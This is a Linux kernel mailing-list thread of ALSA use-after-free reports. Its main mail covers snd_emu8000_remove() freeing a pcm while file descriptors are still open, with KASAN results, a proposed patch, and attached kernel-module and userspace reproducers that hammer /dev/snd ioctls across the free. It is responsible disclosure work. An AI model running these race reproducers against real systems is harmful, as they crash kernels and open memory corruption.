static struct snd_emux *emu;
/* ---- minimal fake backend (same contract as emu10k1_callback.c) ---- */
static int f3_start_voice(struct snd_emux_voice *vp) { return 0; }
static void f3_trigger(struct snd_emux_voice *vp) {}
static void f3_release(struct snd_emux_voice *vp) {}
static void f3_update(struct snd_emux_voice *vp, int update) {}
static void f3_terminate(struct snd_emux_voice *vp) {}
static int f3_sample_new(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr,
const void __user *data, long count)
{
sp->block = snd_util_mem_alloc(hdr, count > 0 ? count : 256);
return sp->block ? 0 : -ENOMEM;
}
static int f3_sample_free(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr)
{
if (sp->block) {
snd_util_mem_free(hdr, sp->block);
sp->block = NULL;
}
return 0;
}
static const struct snd_emux_operators f3_ops = {
.owner = THIS_MODULE,
.get_voice = NULL, /* note_on unused in this plan */
.prepare = f3_start_voice,
.trigger = f3_trigger,
.release = f3_release,
.update = f3_update,
.terminate = f3_terminate,
.sample_new = f3_sample_new,
.sample_free = f3_sample_free,
};
static int f3_emux_setup(void)
{
int err;
err = snd_emux_new(&emu);
if (err < 0)
return err;
emu->ops = f3_ops;
emu->hw = card; /* non-NULL "hardware"; never dereferenced */
emu->max_voices = 8;
emu->num_ports = 1;
emu->midi_ports = 2; /* THE FW-MR-03 delta: create real virmidi */
emu->midi_devidx = 0; /* /dev/snd/midiC0D0 + midiC0D1 */
emu->hwdep_idx = 0; /* /dev/snd/hwC0D0 (same as harness default) */
emu->linear_panning = 0;
emu->memhdr = snd_util_memhdr_new(0x100000);
if (!emu->memhdr) {
snd_emux_free(emu);
emu = NULL;
return -ENOMEM;
}
err = snd_emux_register(emu, card, 0, "fwmr03");
if (err < 0) {
pr_err("snd_emux_register failed: %d\n", err);
snd_util_memhdr_free(emu->memhdr);
snd_emux_free(emu);
emu = NULL;
return err;
}
snd_card_register(card);
pr_info("emux registered: hwdep=hwC0D0 virmidi=midiC0D0/midiC0D1\n");
return 0;
}
/* ---- FW-MR-03 release trigger: sub-driver remove body ---- */
static int fw3_free_set(const char *val, const struct kernel_param *kp)
{
if (!emu)
return -ENODEV;
pr_info("calling snd_emux_free() (sub-driver remove body) with "
"midi fd open + output_work armed\n");
snd_emux_free(emu);
emu = NULL;
pr_info("snd_emux_free() done\n");
return 0;
}
static const struct kernel_param_ops fw3_free_ops = { .set = fw3_free_set };
module_param_cb(fw3_free, &fw3_free_ops, NULL, 0200);
/* ---- module plumbing ---- */
static int __init fwmr03_init(void)
{
int err;
parent = root_device_register("fwmr03");
if (IS_ERR(parent))
return PTR_ERR(parent);
err = snd_card_new(parent, 0, "fwmr03", THIS_MODULE, 0, &card);
if (err < 0) {
root_device_unregister(parent);
parent = NULL;
return err;
}
return f3_emux_setup();
}
static void __exit fwmr03_exit(void)
{
if (emu) {
snd_emux_free(emu);
emu = NULL;
}
if (card) {
snd_card_free(card);
card = NULL;
}
if (parent) {
root_device_unregister(parent);
parent = NULL;
}
}
module_init(fwmr03_init);
module_exit(fwmr03_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("FW-MR-03 virmidi/rawmidi race verification harness");
^ permalink raw reply [flat|nested] 101+ messages in thread* ALSA: pcm: snd_emu8000_remove() frees a pcm with open fds and an armed period timer (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (34 preceding siblings ...)
2026-12-01 12:45 ` ALSA: rawmidi: snd_rawmidi_free() tears down substreams and the private data while fds are still open and the virmidi output work is queued (UAF) 徐晗翔
@ 2026-12-01 12:47 ` 徐晗翔
2026-12-01 12:48 ` ALSA: vx: vx_free_pipe() kfrees pipes with no lock common to the threaded IRQ pipe walker (UAF) 徐晗翔
` (5 subsequent siblings)
41 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:47 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 7581 bytes --]
snd_emu8000_remove() (sound/isa/sb/emu8000_synth.c:83-97, the remove
callback of the independently removable snd-emu8000-synth sequencer
sub-driver) calls snd_device_free(card, hw->pcm) for the pcm it created
at probe time. That path runs snd_pcm_dev_disconnect()
(sound/core/pcm.c:1085-1120), which stops the streams and unregisters
the minors but does NOT wait for open file descriptors, does not swap
file->f_op, and takes no reference on the pcm -- after which
snd_pcm_free() kfrees every snd_pcm_substream (pcm.c:826) and the
struct snd_pcm itself (pcm.c:863). Any fd open on /dev/snd/pcmC*D1p
across the removal keeps pcm_file->substream pointing at freed memory:
in-flight and subsequent ioctls dereference it (snd_pcm_common_ioctl
reads substream->pcm / runtime), and the final close() runs
snd_pcm_release() which reads substream->pcm (L2979), waits on
pcm->card (L2982), locks the freed pcm->open_mutex (L2984) and calls
substream->ops->close. Additionally, once the stream has been
started, the emu8000 driver arms a self-re-arming period timer whose
callback calls snd_pcm_period_elapsed(rec->substream)
(emu8000_pcm.c:210) -- an in-flight actor that keeps touching the
substream independent of any user activity.
The card-wide path that makes the same teardown safe when the whole
card goes away (snd_card_disconnect()'s file->f_op swap plus
disconnect_sync's wait for the fds) is not on the single-device
path, and the in-tree driver has no per-pcm reference to wait on --
contrast hda_codec_driver_remove(), which explicitly does
snd_refcount_sync(&codec->pcm_ref) before tearing its pcms down
(sound/hda/common/bind.c:165). Verified on mainline 7.3 with a
faithful construction on the real ALSA core code: a module creates a
real pcm (snd_pcm_new + snd_device_register + snd_card_register, real
snd_pcm_open()/ioctl()/release() user path) with a module-owned ops
table in the exact structural shape of
snd_emu8000_pcm_new()/snd_emu8000_remove(), and performs
snd_device_free(card, pcm) (emu8000_synth.c:92 verbatim) against an fd
hammering ioctls: 32 KASAN reports (slab-use-after-free in
snd_pcm_common_ioctl+0xc0, snd_pcm_release, snd_power_ref_and_wait
...). The same construction demonstrated the armed-timer face
separately (freed timer_list re-armed and executed from __run_timers
in IRQ context -- reported in its own mail). The fd side needs no
privileges; the removal needs root. Real-hardware reachability needs
an SB AWE (emu8000) card with DRAM; the core paths exercised by the
reproducer are byte-identical in-tree code.
The detailed description:
* Test environment / affected version (still present as of 7.4-rc5)
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3, KASAN, QEMU/KVM x86_64 guest (2 vCPU).
sound/core/pcm.c, sound/core/pcm_native.c and
sound/isa/sb/emu8000_{synth,pcm}.c are byte-identical between the
audited tree and the vanilla verification tree.
* Mechanism
- open: snd_pcm_open() (pcm_native.c:2912-2967) pins only the CARD
module (L2924 try_module_get(pcm->card->module)) and registers the
file on the card; the pcm object takes no reference and the retry
loop's pcm->card->shutdown check (L2946) only covers whole-card
teardown, which a single-device removal never performs.
- teardown: snd_emu8000_remove() L92 snd_device_free(card, hw->pcm)
-> snd_pcm_dev_disconnect() (stream locks, stop, unregister both
minors, wake open_wait -- no fd drain, no f_op swap) ->
snd_pcm_free() -> snd_pcm_free_stream(): kfree(substream) L826 ->
kfree(pcm) L863.
- users: in-flight ioctls (snd_pcm_common_ioctl dereferences
substream->pcm and substream->runtime), write/read paths, and the
final snd_pcm_release() (pcm_native.c:2969-2992: pcm =
substream->pcm; snd_power_wait(pcm->card); mutex_lock(&pcm->
open_mutex); substream->ops->close).
- in-flight timer: emu8k_pcm_timer_func() re-arms itself every jiffy
while the stream runs (emu8000_pcm.c:200) and calls
snd_pcm_period_elapsed(rec->substream) (L210); nothing on the
removal path stops an in-flight callback (see the separate timer
mail for that face).
* Trigger model
A user opens /dev/snd/pcmC*D1p and hammers ioctls (or just holds it
open and later closes); root removes the snd-emu8000-synth sub-driver
(rmmod / seq-device unbind). Every fd operation after the free and
the final close() are use-after-frees; with a started stream the
timer callback is an additional in-flight user. Consequence:
kernel UAF read/write on struct snd_pcm / snd_pcm_substream /
runtime (heap-grooming-capable), stable crash.
* Reproducer (attached: fwmr04.c + fwmr_test.c) and results on 7.3 (still present as of 7.4-rc5)
fwmr04.c creates a real pcm through the real core path
(snd_pcm_new + snd_pcm_set_ops with module-owned ops + real
snd_device_register/snd_card_register), fwmr_test "mr04pcm" opens
/dev/snd/pcmC0D0p through the real snd_pcm_open() (ref_count=1,
f_op unchanged), hammers SNDRV_PCM_IOCTL_PVERSION/INFO while the
plan performs snd_device_free(card, pcm) (emu8000_synth.c:92
verbatim) and keeps the fd open across the free, closing it
afterwards to also drive the release path. The ops table is
module-owned (the real emu8k ops need AWE64 ISA hardware, which
QEMU x86 cannot provide), but every core function in the chain --
snd_pcm_open/open_file/attach_substream, common_ioctl, release,
dev_disconnect, free/free_stream -- is the byte-identical in-tree
code, which is where the reported UAF lives.
Results (7.3, 2 vCPU): 32 KASAN reports; first report
"slab-use-after-free in snd_pcm_common_ioctl+0xc0 / Read of size 8",
with snd_pcm_release and snd_power_ref_and_wait among the hit
sites. Full first report in the evidence file.
* Patch
snd_emu8000_remove() calls snd_device_free(card, hw->pcm), which
runs snd_pcm_dev_disconnect() (stop + unregister minors, no fd
drain, no f_op swap) and then snd_pcm_free(): kfree(substream) for
every substream and kfree(pcm) -- none of which waits for the open
file descriptors on /dev/snd/pcmC*D*. In-flight and subsequent fd
operations, and the final snd_pcm_release(), are use-after-frees.
Refuse the free while either stream has opened substreams:
__snd_device_free() unlinks the snd_device wrapper but leaves the
pcm object tree alive for the open descriptors (bounded leak instead
of a UAF). For a properly synchronized driver this changes nothing
(substream_opened == 0 at teardown time).
---
sound/core/pcm.c | 8 ++++++++
1 file changed, 8 insertions(+)
diff --git a/sound/core/pcm.c b/sound/core/pcm.c
--- a/sound/core/pcm.c
+++ b/sound/core/pcm.c
@@ -849,12 +849,20 @@ static void snd_pcm_free_stream(struct snd_pcm_str * pstr)
static int snd_pcm_free(struct snd_pcm *pcm)
{
if (!pcm)
return 0;
+ if (pcm->streams[SNDRV_PCM_STREAM_PLAYBACK].substream_opened ||
+ pcm->streams[SNDRV_PCM_STREAM_CAPTURE].substream_opened) {
+ /* fds still hold the substreams: keep the object tree alive
+ * (bounded leak instead of a UAF from the stale fds, their
+ * in-flight ioctls and the release path) */
+ pcm_warn(pcm, "pcm is still open, not freeing\n");
+ return -EBUSY;
+ }
if (!pcm->internal)
pcm_call_notify(pcm, n_unregister);
if (pcm->private_free)
pcm->private_free(pcm);
snd_pcm_lib_preallocate_free_for_all(pcm);
--
2.43.0
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: fwmr_test.c --]
[-- Type: text/plain, Size: 11633 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr_test.c - userspace driver for the sound/firewire FW-MR-* race
* verification harnesses (docs/manual-review-sound-firewire-2026-11-26.md).
*
* Plans:
* mr02hold [secs] - FW-MR-02 deterministic release-path variant: open
* /dev/snd/hwC0D0 (real snd_hwdep_open, used=1), read
* once, HOLD the fd across the kernel-side
* snd_emux_free() (host script triggers it), then
* ioctl + close on the freed hwdep -> real
* snd_hwdep_release() derefs freed hw (hw->card->module,
* mutex_lock(&hw->open_mutex), hw->used--).
* mr02hammer [iters] - FW-MR-02 in-flight variant (same shape as the
* synth report's mr03, re-attributed): open + ioctl
* hammer while the free runs on the other side.
* mr03midi [secs] - FW-MR-03: poll for /dev/snd/midiC0D0, open
* O_WRONLY|O_NONBLOCK (real snd_rawmidi_open ->
* snd_virmidi_output_open INIT_WORK), write MIDI bytes
* (real snd_rawmidi_output_trigger -> queue_work
* system_highpri_wq), HOLD across fw3_free, write
* again (in-flight work + write path on freed rmidi),
* close (snd_rawmidi_release on freed rmidi).
* mr04pcm [secs] - FW-MR-04: poll for /dev/snd/pcmC1D0p, open (real
* snd_pcm_open, ref_count=1), hammer
* SNDRV_PCM_IOCTL_PVERSION/PINFO, HOLD across fw4_free
* (snd_device_free(card, pcm)), ioctl + close on the
* freed substream/pcm (real snd_pcm_release path).
* mr01read [secs] - FW-MR-01 reader side: hammer
* SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on
* /dev/snd/controlC0 while a dangling (freed but
* still-linked) jack kcontrol sits in card->controls.
* mr06storm [secs] - FW-MR-06 writer side: loop SNDRV_CTL_IOCTL_ELEM_ADD +
* ELEM_REMOVE of a user control with iface=CARD whose
* name is copied from an existing CARD control (same
* ctl_hash key as the jack controls the reconfig probe
* looks up locklessly in get_available_index()).
* waitdev <path> [timeout_ms] - poll until a device node appears.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"
static void waitdev(const char *path, int timeout_ms)
{
int waited = 0;
struct stat st;
while (stat(path, &st) != 0) {
if (waited >= timeout_ms)
return;
usleep(20000);
waited += 20;
}
}
/* ---- FW-MR-02 ---- */
static int plan_mr02hold(int secs)
{
int fd;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HOLD: fd open (hw->used=1), VERSION probe done\n");
fflush(stdout);
printf("MR02HOLD: holding fd for %ds (host frees emux now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR02HOLD: ioctl on freed hwdep (in snd_hwdep_ioctl path)\n");
fflush(stdout);
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
printf("MR02HOLD: closing -> real snd_hwdep_release() on freed hw\n");
fflush(stdout);
close(fd);
printf("MR02HOLD: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HOLD: done\n");
return 0;
}
static int plan_mr02hammer(int iters)
{
int fd, i;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HAMMER: %d ioctl iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
if ((i % 256) == 0) {
printf("MR02HAMMER: iter %d\n", i);
fflush(stdout);
}
usleep(100);
}
printf("MR02HAMMER: closing\n");
fflush(stdout);
close(fd);
sleep(2);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HAMMER: done\n");
return 0;
}
/* ---- FW-MR-03 ---- */
static int plan_mr03midi(int secs)
{
int fd, n = 0;
unsigned char msg[3] = { 0x90, 0x40, 0x7f };
waitdev("/dev/snd/midiC0D0", 15000);
fd = open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK);
if (fd < 0) {
fprintf(stderr, "open midiC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR03MIDI: opened output; writing bytes (arms output_work)\n");
fflush(stdout);
/* a few writes: each runs snd_rawmidi_kernel_write1 ->
* snd_rawmidi_output_trigger(substream, 1) -> queue_work */
for (n = 0; n < 32; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: %d writes queued; holding fd for %ds "
"(host frees emux now)\n", n, secs);
fflush(stdout);
sleep(secs);
printf("MR03MIDI: writing again on freed rmidi\n");
fflush(stdout);
for (n = 0; n < 8; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: closing -> real snd_rawmidi_release() on freed rmidi\n");
fflush(stdout);
close(fd);
printf("MR03MIDI: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK));
printf("MR03MIDI: done\n");
return 0;
}
/* ---- FW-MR-04 ---- */
static int plan_mr04pcm(int secs)
{
int fd, i;
unsigned int ver = 0;
struct snd_pcm_info info;
waitdev("/dev/snd/pcmC1D0p", 15000);
fd = open("/dev/snd/pcmC1D0p", O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open pcmC0D0p: %s\n", strerror(errno));
return 1;
}
printf("MR04PCM: opened via real snd_pcm_open (ref_count=1)\n");
fflush(stdout);
for (i = 0; i < 64; i++) {
ioctl(fd, SNDRV_PCM_IOCTL_PVERSION, &ver);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
usleep(1000);
}
printf("MR04PCM: 64 probe ioctls done; holding fd for %ds "
"(host frees pcm now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR04PCM: INFO ioctl on freed substream/pcm (in snd_pcm_info)\n");
fflush(stdout);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
printf("MR04PCM: closing -> real snd_pcm_release() on freed objects\n");
fflush(stdout);
close(fd);
printf("MR04PCM: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/pcmC1D0p", O_WRONLY));
printf("MR04PCM: done\n");
return 0;
}
/* ---- FW-MR-01 / FW-MR-06 control-face helpers ---- */
static int ctl_open(void)
{
int fd = open("/dev/snd/controlC0", O_RDWR);
if (fd < 0)
fprintf(stderr, "open controlC0: %s\n", strerror(errno));
return fd;
}
static int plan_mr01read(int secs)
{
int fd, i, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
printf("MR01READ: hammering ELEM_LIST+ELEM_INFO for %ds\n", secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0)
break;
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
}
if ((++i % 64) == 0) {
printf("MR01READ: round %d (count=%u)\n", i, list.count);
fflush(stdout);
}
usleep(2000);
}
printf("MR01READ: done (%d rounds)\n", i);
free(ids);
close(fd);
return 0;
}
static int plan_mr06storm(int secs)
{
int fd, card, i, added = 0;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
struct snd_ctl_elem_id remove_id;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
/* take the name of an existing CARD-interface control so the user
* control shares the ctl_hash key of the jack controls that the
* reconfig probe's get_available_index() looks up locklessly */
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list) < 0) {
fprintf(stderr, "ELEM_LIST: %s\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
memset(&info, 0, sizeof(info));
for (i = 0; i < (int)list.count && i < 256; i++) {
info.id = ids[i];
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info) < 0)
continue;
if (info.id.iface == SNDRV_CTL_ELEM_IFACE_CARD)
break;
}
if (i >= (int)list.count) {
fprintf(stderr, "no CARD control found\n");
free(ids);
close(fd);
return 1;
}
printf("MR06STORM: adding/removing iface=CARD user control '%s' "
"for %ds\n", info.id.name, secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&info, 0, sizeof(info));
info.id.iface = SNDRV_CTL_ELEM_IFACE_CARD;
strncpy((char *)info.id.name, "Headphone Jack",
sizeof(info.id.name) - 1);
info.type = SNDRV_CTL_ELEM_TYPE_BOOLEAN;
info.count = 1;
info.owner = 0;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_ADD, &info) < 0)
goto drop;
added++;
remove_id = info.id;
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_REMOVE, &remove_id);
drop:
if ((++i % 256) == 0) {
printf("MR06STORM: round %d (added=%d)\n", i, added);
fflush(stdout);
}
usleep(500);
}
(void)card;
printf("MR06STORM: done (%d rounds, %d added)\n", i, added);
free(ids);
close(fd);
return 0;
}
static int plan_mr01dump(void)
{
int fd, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0) {
printf("MR01DUMP: ELEM_LIST failed (%s)\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
printf("MR01DUMP: controls_count=%u (dangling entry stays listed)\n",
list.count);
fflush(stdout);
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
printf("MR01DUMP: numid=%-5u iface=%d %s\n",
ids[n].numid, ids[n].iface, ids[n].name);
fflush(stdout);
}
free(ids);
close(fd);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: fwmr_test <plan> [arg]\n");
return 2;
}
if (!strcmp(argv[1], "mr02hold"))
return plan_mr02hold(argc > 2 ? atoi(argv[2]) : 4);
if (!strcmp(argv[1], "mr02hammer"))
return plan_mr02hammer(argc > 2 ? atoi(argv[2]) : 20000);
if (!strcmp(argv[1], "mr03midi"))
return plan_mr03midi(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr04pcm"))
return plan_mr04pcm(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr01dump"))
return plan_mr01dump();
if (!strcmp(argv[1], "mr01read"))
return plan_mr01read(argc > 2 ? atoi(argv[2]) : 15);
if (!strcmp(argv[1], "mr06storm"))
return plan_mr06storm(argc > 2 ? atoi(argv[2]) : 60);
if (!strcmp(argv[1], "waitdev"))
return (waitdev(argv[2], argc > 3 ? atoi(argv[3]) : 10000), 0);
fprintf(stderr, "unknown plan %s\n", argv[1]);
return 2;
}
[-- Attachment #3: fwmr04.c --]
[-- Type: text/plain, Size: 5641 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr04.c - dynamic verification harness for audit case FW-MR-04
* (docs/manual-review-sound-firewire-2026-11-26.md, v4):
*
* "ç¬ç«åé©±å¨ snd_device_free(card, pcm) ä¸å¨é /dev/snd/pcmC*D1p æä½é´
* ç snd_pcm/substream Use-After-Free"
*
* The real driver (sound/isa/sb/emu8000_pcm.c) needs AWE64 ISA hardware,
* which QEMU x86 cannot provide. This harness therefore reproduces the
* audited ALSA-core release chain FAITHFULLY with the real core code and a
* module-owned ops table, exactly the structural shape of
* snd_emu8000_remove()/snd_emu8000_pcm_new():
*
* probe: snd_pcm_new(card, ...) (real core)
* snd_pcm_set_ops(pcm, PLAYBACK, &module_ops) <- ops live HERE
* pcm->private_free = ...
* snd_device_register(card, pcm) (real core)
* snd_card_register(card)
* remove: snd_device_free(card, pcm) <- emu8000_synth.c:92 verbatim
* -> snd_pcm_dev_disconnect() (no ref_count wait, no f_op swap)
* -> snd_pcm_free(): kfree(substream)@pcm.c:826, kfree(pcm)@863
*
* Userspace (fwmr_test mr04pcm) opens /dev/snd/pcmC0D0p through the REAL
* snd_pcm_open()/snd_pcm_open_file() path (ref_count=1, f_op unchanged),
* hammers SNDRV_PCM_IOCTL_PVERSION/INFO, keeps the fd across the free, then
* closes -- running the real snd_pcm_release():
* pcm_native.c:2976 pcm_file->substream (freed substream)
* pcm_native.c:2979 substream->pcm (freed pcm) <- UAF read
* pcm_native.c:2984 mutex_lock(&pcm->open_mutex) <- UAF (freed lock)
* pcm_native.c:2985 snd_pcm_release_substream() -> ops->close (module)
* Expected KASAN: slab-use-after-free on the kmalloc-1024-ish pcm/substream
* caches, plus the in-flight ioctl variant (snd_pcm_info reads
* substream->pcm->card on the freed pcm).
*
* Zero kernel source modification.
*/
#define pr_fmt(fmt) "FWMR04: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/pcm.h>
static struct device *parent;
static struct snd_card *card;
static struct snd_pcm *pcm;
/* minimal legal hw template -- the emu8000_pcm.c:235
* `runtime->hw = emu8k_pcm_hw` analog (without it,
* snd_pcm_hw_constraints_complete() fails and the real open path bails) */
static struct snd_pcm_hardware f4_hw = {
.info = SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_BLOCK_TRANSFER |
SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID,
.formats = SNDRV_PCM_FMTBIT_S16_LE,
.rates = SNDRV_PCM_RATE_48000,
.rate_min = 48000,
.rate_max = 48000,
.channels_min = 1,
.channels_max = 1,
.buffer_bytes_max = 4096,
.period_bytes_min = 256,
.period_bytes_max = 4096,
.periods_min = 1,
.periods_max = 1024,
};
static int f4_open(struct snd_pcm_substream *subs)
{
subs->runtime->hw = f4_hw;
pr_info("ops->open(substream=%p) via real snd_pcm_open path\n", subs);
return 0;
}
static int f4_close(struct snd_pcm_substream *subs)
{
/*
* Called via snd_pcm_release_substream() -> substream->ops->close
* AFTER snd_pcm_free() already kfree()d substream and pcm: reaching
* this print at all means the audited dangling-fd release path ran.
*/
pr_info("ops->close() reached on post-free release path\n");
return 0;
}
static int f4_prepare(struct snd_pcm_substream *subs)
{
return 0;
}
static const struct snd_pcm_ops f4_ops = {
.open = f4_open,
.close = f4_close,
.prepare = f4_prepare,
};
/* emu8000_pcm.c snd_emu8000_pcm_free() analog: clear owner pointer */
static void f4_pcm_free(struct snd_pcm *p)
{
pr_info("pcm->private_free ran during snd_pcm_free()\n");
}
static int f4_pcm_setup(void)
{
int err;
err = snd_pcm_new(card, "fwmr04 pcm", 0, 1, 0, &pcm);
if (err < 0)
return err;
pcm->private_data = NULL;
pcm->private_free = f4_pcm_free;
snd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_PLAYBACK, &f4_ops);
/* emu8000_pcm.c:648 calls snd_device_register() before the final
* card register, unchecked -- the pcm stays in BUILD state here and
* is registered by snd_device_register_all() inside
* snd_card_register() below (same as the real emu8000 flow). */
snd_device_register(card, pcm);
err = snd_card_register(card);
if (err < 0)
return err;
pr_info("pcm registered: /dev/snd/pcmC1D0p (ops live in THIS module)\n");
return 0;
}
/* ---- FW-MR-04 release trigger: emu8000_synth.c:92 verbatim ---- */
static int fw4_free_set(const char *val, const struct kernel_param *kp)
{
if (!pcm)
return -ENODEV;
pr_info("calling snd_device_free(card, pcm) with fd open "
"(emu8000_synth.c:92 shape)\n");
snd_device_free(card, pcm);
pcm = NULL;
pr_info("snd_device_free() done: substream + pcm kfree()d, fd dangling\n");
return 0;
}
static const struct kernel_param_ops fw4_free_ops = { .set = fw4_free_set };
module_param_cb(fw4_free, &fw4_free_ops, NULL, 0200);
/* ---- module plumbing ---- */
static int __init fwmr04_init(void)
{
int err;
parent = root_device_register("fwmr04");
if (IS_ERR(parent))
return PTR_ERR(parent);
err = snd_card_new(parent, 1, "fwmr04", THIS_MODULE, 0, &card);
if (err < 0) {
root_device_unregister(parent);
parent = NULL;
return err;
}
return f4_pcm_setup();
}
static void __exit fwmr04_exit(void)
{
if (pcm) {
snd_device_free(card, pcm);
pcm = NULL;
}
if (card) {
snd_card_free(card);
card = NULL;
}
if (parent) {
root_device_unregister(parent);
parent = NULL;
}
}
module_init(fwmr04_init);
module_exit(fwmr04_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("FW-MR-04 pcm snd_device_free race verification harness");
^ permalink raw reply [flat|nested] 101+ messages in thread* ALSA: vx: vx_free_pipe() kfrees pipes with no lock common to the threaded IRQ pipe walker (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (35 preceding siblings ...)
2026-12-01 12:47 ` ALSA: pcm: snd_emu8000_remove() frees a pcm with open fds and an armed period timer (UAF) 徐晗翔
@ 2026-12-01 12:48 ` 徐晗翔
2026-12-01 12:51 ` ALSA: sb: emu8k frees the pcm private data without syncing the self-rearming period timer (UAF) 徐晗翔
` (4 subsequent siblings)
41 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:48 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
The VX driver family (sound/drivers/vx: VXPocket PCMCIA and vx222 PCI,
shared vx_pcm.c) manages its audio pipes (struct vx_pipe) in
chip->playback_pipes[] / chip->capture_pipes[] arrays with no lock
shared between the open/close paths and the interrupt delivery path:
- close: vx_pcm_playback_close() (vx_pcm.c:557-574) /
vx_pcm_capture_close() (vx_pcm.c:948-975) clear their array slot
(L568 / L957) and call vx_free_pipe(), which sends the FREE_PIPE
hardware message and then kfrees the pipe (vx_pcm.c:443-454,
kfree at L451) -- all unlocked.
- interrupt: snd_vx_threaded_irq_handler() (vx_core.c:489-523, a
request_threaded_irq handler -- process context, vxpocket.c:197 /
vx222.c:132) -> vx_pcm_update_intr() (vx_pcm.c:1082-1134) reads
chip->playback_pipes[p] / chip->capture_pipes[i] unlocked (L1120 /
L1130), dereferences pipe->substream (L1121/L1131), and drives the
pipes: vx_pcm_playback_transfer() (L676-691) re-reads
pipe->prepared on every chunk of its multi-chunk DMA loop and
vx_pcm_playback/capture_update() read pipe->running and the
runtime. The capture loop walks EVERY capture pipe on EVERY
interrupt.
